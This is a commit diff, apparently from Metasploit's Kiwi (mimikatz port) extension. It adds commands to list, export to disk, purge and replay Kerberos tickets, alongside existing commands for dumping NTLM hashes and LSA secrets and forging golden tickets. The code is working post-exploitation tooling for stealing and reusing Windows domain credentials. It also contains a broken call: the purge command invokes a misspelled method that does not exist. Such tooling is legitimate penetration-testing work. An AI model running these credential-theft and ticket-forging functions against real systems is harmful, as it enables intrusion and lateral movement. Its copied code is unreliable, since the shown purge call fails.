Add support for kerberos ticket enumeration

Fix up a bunch of other issues and do some code tidies too.
bug/bundler_fix
OJ 2014-03-19 14:25:11 +10:00
parent 91e198fd63
commit 3635fff98e
3 changed files with 193 additions and 22 deletions

View File

@ -93,15 +93,79 @@ class Kiwi < Extension
return result
end
def golden_ticket_use(ticket)
request = Packet.create_request('kiwi_golden_ticket_use')
request.add_tlv(TLV_TYPE_KIWI_GOLD_TICKET, ticket, false, true)
@@kerberos_flags = [
"NAME CANONICALIZE",
"<unknown>",
"OK AS DELEGATE",
"<unknown>",
"HW AUTHENT",
"PRE AUTHENT",
"INITIAL",
"RENEWABLE",
"INVALID",
"POSTDATED",
"MAY POSTDATE",
"PROXY",
"PROXIABLE",
"FORWARDED",
"FORWARDABLE",
"RESERVED"
]
def to_kerberos_flag_list(flags)
flags = flags >> 16
results = []
@@kerberos_flags.each_with_index do |item, idx|
mask = 1 << idx
if (flags & (1 << idx)) != 0
results << item
end
end
return results
end
def kerberos_ticket_list(export)
export ||= false
request = Packet.create_request('kiwi_kerberos_ticket_list')
request.add_tlv(TLV_TYPE_KIWI_KERB_EXPORT, export)
response = client.send_request(request)
results = []
response.each(TLV_TYPE_KIWI_KERB_TKT) do |t|
results << {
:enc_type => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_ENCTYPE),
:start => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_START),
:end => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_END),
:max_renew => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_MAXRENEW),
:server => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_SERVERNAME),
:server_realm => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_SERVERREALM),
:client => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_CLIENTNAME),
:client_realm => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_CLIENTREALM),
:flags => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_FLAGS),
:raw => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_RAW)
}
end
return results
end
def kerberos_ticket_use(ticket)
request = Packet.create_request('kiwi_kerberos_ticket_use')
request.add_tlv(TLV_TYPE_KIWI_KERB_TKT_RAW, ticket, false, true)
client.send_request(request)
end
def kerberos_ticket_purge
request = Packet.create_request('kiwi_kerberos_ticket_purge')
client.send_request(request)
end
def golden_ticket_create(user, domain, sid, tgt)
request = Packet.create_request('kiwi_golden_ticket_create')
request = Packet.create_request('kiwi_kerberos_golden_ticket_create')
request.add_tlv(TLV_TYPE_KIWI_GOLD_USER, user)
request.add_tlv(TLV_TYPE_KIWI_GOLD_DOMAIN, domain)
request.add_tlv(TLV_TYPE_KIWI_GOLD_SID, sid)
@ -109,7 +173,7 @@ class Kiwi < Extension
response = client.send_request(request)
return response.get_tlv_value(TLV_TYPE_KIWI_GOLD_TICKET)
return response.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_RAW)
end
def scrape_passwords(pwd_id)

View File

@ -19,7 +19,6 @@ TLV_TYPE_KIWI_GOLD_USER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 10
TLV_TYPE_KIWI_GOLD_DOMAIN = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 11)
TLV_TYPE_KIWI_GOLD_SID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 12)
TLV_TYPE_KIWI_GOLD_TGT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 13)
TLV_TYPE_KIWI_GOLD_TICKET = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 14)
TLV_TYPE_KIWI_LSA_VER_MAJ = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 15)
TLV_TYPE_KIWI_LSA_VER_MIN = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 16)
@ -47,6 +46,19 @@ TLV_TYPE_KIWI_LSA_SAM_USER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 35
TLV_TYPE_KIWI_LSA_SAM_LMHASH = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 36)
TLV_TYPE_KIWI_LSA_SAM_NTLMHASH = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 37)
TLV_TYPE_KIWI_KERB_EXPORT = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 38)
TLV_TYPE_KIWI_KERB_TKT = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 39)
TLV_TYPE_KIWI_KERB_TKT_ENCTYPE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 40)
TLV_TYPE_KIWI_KERB_TKT_START = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 41)
TLV_TYPE_KIWI_KERB_TKT_END = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 42)
TLV_TYPE_KIWI_KERB_TKT_MAXRENEW = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 43)
TLV_TYPE_KIWI_KERB_TKT_SERVERNAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 44)
TLV_TYPE_KIWI_KERB_TKT_SERVERREALM = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 45)
TLV_TYPE_KIWI_KERB_TKT_CLIENTNAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 46)
TLV_TYPE_KIWI_KERB_TKT_CLIENTREALM = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 47)
TLV_TYPE_KIWI_KERB_TKT_FLAGS = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 48)
TLV_TYPE_KIWI_KERB_TKT_RAW = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 49)
end
end
end

View File

@ -26,7 +26,18 @@ class Console::CommandDispatcher::Kiwi
#
def initialize(shell)
super
print_line
print_line
print_line(" .#####. mimikatz 2.0 alpha (#{client.platform}) release \"Kiwi en C\"")
print_line(" .## ^ ##.")
print_line(" ## / \\ ## /* * *")
print_line(" ## \\ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )")
print_line(" '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)")
print_line(" '#####' Ported to Metasploit by OJ Reeves `TheColonial` * * */")
print_line
if (client.platform =~ /x86/) and (client.sys.config.sysinfo['Architecture'] =~ /x64/)
print_line
print_warning "Loaded x86 Kiwi on an x64 architecture."
end
@ -37,16 +48,18 @@ class Console::CommandDispatcher::Kiwi
#
def commands
{
"creds_wdigest" => "Attempt to retrieve WDigest creds",
"creds_msv" => "Attempt to retrieve LM/NTLM creds (hashes)",
"creds_livessp" => "Attempt to retrieve LiveSSP creds",
"creds_ssp" => "Attempt to retrieve SSP creds",
"creds_tspkg" => "Attempt to retrieve TsPkg creds",
"creds_kerberos" => "Attempt to retrieve Kerberos creds",
"creds_all" => "Attempt to retrieve all credentials",
"golden_ticket_create" => "Attempt to create a golden kerberos ticket",
"golden_ticket_use" => "Attempt to use a golden kerberos ticket",
"lsa_dump" => "Attempt to dump LSA secrets"
"creds_wdigest" => "Attempt to retrieve WDigest creds",
"creds_msv" => "Attempt to retrieve LM/NTLM creds (hashes)",
"creds_livessp" => "Attempt to retrieve LiveSSP creds",
"creds_ssp" => "Attempt to retrieve SSP creds",
"creds_tspkg" => "Attempt to retrieve TsPkg creds",
"creds_kerberos" => "Attempt to retrieve Kerberos creds",
"creds_all" => "Attempt to retrieve all credentials",
"golden_ticket_create" => "Attempt to create a golden kerberos ticket",
"kerberos_ticket_use" => "Attempt to use a kerberos ticket",
"kerberos_ticket_purge" => "Attempt to purege any in-use kerberos tickets",
"kerberos_ticket_list" => "Attempt to list all kerberos tickets",
"lsa_dump" => "Attempt to dump LSA secrets"
}
end
@ -150,12 +163,94 @@ class Console::CommandDispatcher::Kiwi
::File.open( target, 'wb' ) do |f|
f.write ticket
end
print_good("Golden ticket written to #{target}")
print_good("Golden Kerberos ticket written to #{target}")
end
def cmd_golden_ticket_use(*args)
@@kerberos_ticket_list_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner" ],
"-e" => [ false, "Export Kerberos tickets to disk" ],
"-p" => [ true, "Path to export Kerberos tickets to" ]
)
def kerberos_ticket_list_usage
print(
"\nUsage: kerberos_ticket_list [-h] [-e <true|false>] [-p <path>]\n\n" +
"List all the available Kerberos tickets.\n\n" +
@@kerberos_ticket_list_opts.usage)
end
def cmd_kerberos_ticket_list(*args)
if args.include?("-h")
kerberos_ticket_list_usage
return true
end
export = false
export_path = "."
@@kerberos_ticket_list_opts.parse(args) { |opt, idx, val|
case opt
when "-e"
export = true
when "-p"
export_path = val
end
}
tickets = client.kiwi.kerberos_ticket_list(export)
fields = ['Server', 'Client', 'Start', 'End', 'Max Renew', 'Flags']
fields << 'Export Path' if export
table = Rex::Ui::Text::Table.new(
'Header' => "Kerberos Tickets",
'Indent' => 0,
'SortIndex' => 0,
'Columns' => fields
)
tickets.each do |t|
flag_list = client.kiwi.to_kerberos_flag_list(t[:flags]).join(", ")
values = [
"#{t[:server]} @ #{t[:server_realm]}",
"#{t[:client]} @ #{t[:client_realm]}",
t[:start],
t[:end],
t[:max_renew],
"#{t[:flags].to_s(16).rjust(8, '0')} (#{flag_list})"
]
if export
path = "<no data retrieved>"
if t[:raw]
id = "#{values[0]}-#{values[1]}".gsub(/[\\\/\$ ]/, '-')
file = "kerb-#{id}-#{Rex::Text.rand_text_alpha(8)}.tkt"
path = ::File.expand_path(File.join(export_path, file))
::File.open(path, 'wb') do |x|
x.write t[:raw]
end
end
values << path
end
table << values
end
print_line
print_line(table.to_s)
print_line("Total Tickets : #{tickets.length}")
return true
end
def cmd_kerberos_ticket_purge(*args)
client.kiwi.keberos_ticket_purge
print_good("Kerberos tickets purged")
end
def cmd_kerberos_ticket_use(*args)
if args.length != 1
print_line("Usage: golden_ticket_use ticketpath")
print_line("Usage: kerberos_ticket_use ticketpath")
return
end
@ -164,9 +259,9 @@ class Console::CommandDispatcher::Kiwi
::File.open(target, 'rb') do |f|
ticket += f.read(f.stat.size)
end
print_status("Using ticket stored in #{target}, #{ticket.length} bytes")
client.kiwi.golden_ticket_use(ticket)
print_good("Ticket applied successfully")
print_status("Using Kerberos ticket stored in #{target}, #{ticket.length} bytes")
client.kiwi.kerberos_ticket_use(ticket)
print_good("Kerberos ticket applied successfully")
end
def cmd_creds_all(*args)